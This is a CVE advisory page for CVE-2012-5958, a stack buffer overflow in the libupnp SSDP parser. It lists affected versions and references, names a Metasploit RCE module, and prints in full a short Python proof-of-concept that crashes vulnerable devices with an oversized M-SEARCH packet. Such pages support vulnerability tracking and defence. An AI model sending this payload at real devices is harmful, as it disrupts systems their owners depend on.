CVE-2012-5958
Description
Stack-based buffer overflow in the unique_service_name function in ssdp/ssdp_server.c in the SSDP parser in the portable SDK for UPnP Devices (aka libupnp, formerly the Intel SDK for UPnP devices) before 1.6.18 allows remote attackers to execute arbitrary code via a UDP packet with a crafted string that is not properly handled after a certain pointer subtraction.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Portable UPnP SDK - 'unique_service_name()' Remote Code Execution (Metasploit)
libupnp 1.6.18 - Stack-based buffer overflow (DoS)
# Exploit Title: libupnp 1.6.18 - Stack-based buffer overflow (DoS)
# Date: 2020-08-20
# Exploit Author: Patrik Lantz
# Vendor Homepage: https://pupnp.sourceforge.io/
# Software Link: https://sourceforge.net/projects/pupnp/files/pupnp/libUPnP%201.6.6/libupnp-1.6.6.tar.bz2/download
# Version: <= 1.6.6
# Tested on: Linux
# CVE : CVE-2012-5958
import socket
payload = "M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nST:uuid:schemas:device:"
payload += "A"*324 + "BBBB"
payload += ":urn:\r\nMX:2\r\nMAN:\"ssdp:discover\"\r\n\r\n"
byte_message = bytes(payload)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(byte_message, ("239.255.255.250", 1900))
Metasploit modules
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| libupnp_project | libupnp | {"endIncluding":"1.6.17"} | |
| libupnp_project | libupnp | 1.4.0 | |
| libupnp_project | libupnp | 1.4.1 | |
| libupnp_project | libupnp | 1.4.2 | |
| libupnp_project | libupnp | 1.4.3 | |
| libupnp_project | libupnp | 1.4.4 | |
| libupnp_project | libupnp | 1.4.5 | |
| libupnp_project | libupnp | 1.4.6 | |
| libupnp_project | libupnp | 1.4.7 | |
| libupnp_project | libupnp | 1.6.0 | |
| libupnp_project | libupnp | 1.6.1 | |
| libupnp_project | libupnp | 1.6.2 | |
| libupnp_project | libupnp | 1.6.3 | |
| libupnp_project | libupnp | 1.6.4 | |
| libupnp_project | libupnp | 1.6.5 | |
| libupnp_project | libupnp | 1.6.6 | |
| libupnp_project | libupnp | 1.6.7 | |
| libupnp_project | libupnp | 1.6.8 | |
| libupnp_project | libupnp | 1.6.9 | |
| libupnp_project | libupnp | 1.6.10 | |
| libupnp_project | libupnp | 1.6.11 | |
| libupnp_project | libupnp | 1.6.12 | |
| libupnp_project | libupnp | 1.6.13 | |
| libupnp_project | libupnp | 1.6.14 | |
| libupnp_project | libupnp | 1.6.15 | |
| libupnp_project | libupnp | 1.6.16 | |
References
- http://lists.opensuse.org/opensuse-updates/2013-02/msg00013.html
- http://packetstormsecurity.com/files/160242/libupnp-1.6.18-Denial-Of-Service.html
- http://pupnp.sourceforge.net/ChangeLog
- http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20130129-upnp
- http://tsd.dlink.com.tw/temp/PMD/12879/DSR-500_500N_1000_1000N_A1_Release_Notes_FW_v1.08B77_WW.pdf
- http://tsd.dlink.com.tw/temp/PMD/12960/DSR-150N_A2_Release_Notes_FW_v1.05B64_WW.pdf
- http://tsd.dlink.com.tw/temp/PMD/12966/DSR-150_A1_A2_Release_Notes_FW_v1.08B44_WW.pdf
- http://tsd.dlink.com.tw/temp/PMD/13039/DSR-250_250N_A1_A2_Release_Notes_FW_v1.08B44_WW_RU.pdf
- http://www.debian.org/security/2013/dsa-2614
- http://www.debian.org/security/2013/dsa-2615
- http://www.kb.cert.org/vuls/id/922681
- http://www.mandriva.com/security/advisories?name=MDVSA-2013:098
- http://www.securityfocus.com/bid/57602
- https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play
- https://community.rapid7.com/servlet/JiveServlet/download/2150-1-16596/SecurityFlawsUPnP.pdf
- https://community.rapid7.com/servlet/servlet.FileDownload?file=00P1400000cCaFb
- https://wiki.mageia.org/en/Support/Advisories/MGASA-2013-0037
- https://www.tenable.com/security/research/tra-2017-10
- http://lists.opensuse.org/opensuse-updates/2013-02/msg00013.html
- http://packetstormsecurity.com/files/160242/libupnp-1.6.18-Denial-Of-Service.html
- http://pupnp.sourceforge.net/ChangeLog
- http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20130129-upnp
- http://tsd.dlink.com.tw/temp/PMD/12879/DSR-500_500N_1000_1000N_A1_Release_Notes_FW_v1.08B77_WW.pdf
- http://tsd.dlink.com.tw/temp/PMD/12960/DSR-150N_A2_Release_Notes_FW_v1.05B64_WW.pdf
- http://tsd.dlink.com.tw/temp/PMD/12966/DSR-150_A1_A2_Release_Notes_FW_v1.08B44_WW.pdf
CWEs
CWE-119
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.